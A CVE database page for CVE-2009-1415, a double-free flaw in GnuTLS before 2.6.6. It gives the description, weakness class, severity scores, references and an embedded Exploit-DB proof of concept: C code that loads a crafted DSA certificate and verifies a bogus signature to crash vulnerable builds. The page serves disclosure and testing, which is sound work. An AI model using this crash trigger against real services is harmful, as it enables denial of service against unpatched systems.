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CVE-2009-1415 : Detail

CVE-2009-1415

Overflow
11.96%V3
Network
2009-04-30 18:00 +00:00
2017-08-16 12:57 +00:00
CVE.org
NVD

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Descriptions

lib/pk-libgcrypt.c in libgnutls in GnuTLS before 2.6.6 does not properly handle invalid DSA signatures, which allows remote attackers to cause a denial of service (application crash) and possibly have unspecified other impact via a malformed DSA key that triggers a (1) free of an uninitialized pointer or (2) double free.

Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-824 Access of Uninitialized Pointer
The product accesses or uses a pointer that has not been initialized.

Metrics

Metric Score Severity CVSS Vector Source
V2 4.3 AV:N/AC:M/Au:N/C:N/I:N/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 32964

Publication date : 2009-04-29 22:00 +00:00
Author : Miroslav Kratochvil
EDB Verified : Yes

// source: https://www.securityfocus.com/bid/34783/info GnuTLS is prone to multiple remote vulnerabilities: - A remote code-execution vulnerability - A denial-of-service vulnerability - A signature-generation vulnerability - A signature-verification vulnerability An attacker can exploit these issues to potentially execute arbitrary code, trigger denial-of-service conditions, carry out attacks against data signed with weak signatures, and cause clients to accept expired or invalid certificates from servers. Versions prior to GnuTLS 2.6.6 are vulnerable. /* * Small code to reproduce the CVE-2009-1415 double-free problem. * * Build it using: * * gcc -o cve-2009-1415 cve-2009-1415.c -lgnutls * * If your gnutls library is OK then running it will just print 'success!'. * * If your gnutls library is buggy, then running it will crash like this: * * ** glibc detected *** ./cve-2009-1415: munmap_chunk(): invalid pointer: 0xb7f80a9c *** * ======= Backtrace: ========= * ... */ #include #include #include #include static char dsa_cert[] = "-----BEGIN CERTIFICATE-----\n" "MIIDbzCCAtqgAwIBAgIERiYdRTALBgkqhkiG9w0BAQUwGTEXMBUGA1UEAxMOR251\n" "VExTIHRlc3QgQ0EwHhcNMDcwNDE4MTMyOTQxWhcNMDgwNDE3MTMyOTQxWjA3MRsw\n" "GQYDVQQKExJHbnVUTFMgdGVzdCBzZXJ2ZXIxGDAWBgNVBAMTD3Rlc3QuZ251dGxz\n" "Lm9yZzCCAbQwggEpBgcqhkjOOAQBMIIBHAKBgLmE9VqBvhoNxYpzjwybL5u2DkvD\n" "dBp/ZK2d8yjFoEe8m1dW8ZfVfjcD6fJM9OOLfzCjXS+7oaI3wuo1jx+xX6aiXwHx\n" "IzYr5E8vLd2d1TqmOa96UXzSJY6XdM8exXtLdkOBBx8GFLhuWBLhkOI3b9Ib7GjF\n" "WOLmMOBqXixjeOwHAhSfVoxIZC/+jap6bZbbBF0W7wilcQKBgGIGfuRcdgi3Rhpd\n" "15fUKiH7HzHJ0vT6Odgn0Zv8J12nCqca/FPBL0PCN8iFfz1Mq12BMvsdXh5UERYg\n" "xoBa2YybQ/Dda6D0w/KKnDnSHHsP7/ook4/SoSLr3OCKi60oDs/vCYXpNr2LelDV\n" "e/clDWxgEcTvcJDP1hvru47GPjqXA4GEAAKBgA+Kh1fy0cLcrN9Liw+Luin34QPk\n" "VfqymAfW/RKxgLz1urRQ1H+gDkPnn8l4EV/l5Awsa2qkNdy9VOVgNpox0YpZbmsc\n" "ur0uuut8h+/ayN2h66SD5out+vqOW9c3yDI+lsI+9EPafZECD7e8+O+P90EAXpbf\n" "DwiW3Oqy6QaCr9Ivo4GTMIGQMAwGA1UdEwEB/wQCMAAwGgYDVR0RBBMwEYIPdGVz\n" "dC5nbnV0bHMub3JnMBMGA1UdJQQMMAoGCCsGAQUFBwMBMA8GA1UdDwEB/wQFAwMH\n" "gAAwHQYDVR0OBBYEFL/su87Y6HtwVuzz0SuS1tSZClvzMB8GA1UdIwQYMBaAFOk8\n" "HPutkm7mBqRWLKLhwFMnyPKVMAsGCSqGSIb3DQEBBQOBgQBCsrnfD1xzh8/Eih1f\n" "x+M0lPoX1Re5L2ElHI6DJpHYOBPwf9glwxnet2+avzgUQDUFwUSxOhodpyeaACXD\n" "o0gGVpcH8sOBTQ+aTdM37hGkPxoXjtIkR/LgG5nP2H2JRd5TkW8l13JdM4MJFB4W\n" "QcDzQ8REwidsfh9uKAluk1c/KQ==\n" "-----END CERTIFICATE-----\n"; const gnutls_datum_t dsa_cert_dat = { dsa_cert, sizeof (dsa_cert) }; int main (void) { gnutls_x509_crt_t crt; gnutls_datum_t data = { "foo", 3 }; gnutls_datum_t sig = { "bar", 3 }; int ret; gnutls_global_init (); ret = gnutls_x509_crt_init (&crt); if (ret < 0) return 1; ret = gnutls_x509_crt_import (crt, &dsa_cert_dat, GNUTLS_X509_FMT_PEM); if (ret < 0) return 1; ret = gnutls_x509_crt_verify_data (crt, 0, &data, &sig); if (ret < 0) return 1; printf ("success!\n"); gnutls_x509_crt_deinit (crt); gnutls_global_deinit (); return 0; }

Products Mentioned

Configuraton 0

Gnu>>Gnutls >> Version To (excluding) 2.6.6

References

http://www.vupen.com/english/advisories/2009/1218
Tags : vdb-entry, x_refsource_VUPEN
http://www.securityfocus.com/bid/34783
Tags : vdb-entry, x_refsource_BID
http://security.gentoo.org/glsa/glsa-200905-04.xml
Tags : vendor-advisory, x_refsource_GENTOO
http://www.securitytracker.com/id?1022157
Tags : vdb-entry, x_refsource_SECTRACK
http://secunia.com/advisories/34842
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/35211
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.mandriva.com/security/advisories?name=MDVSA-2009:116
Tags : vendor-advisory, x_refsource_MANDRIVA

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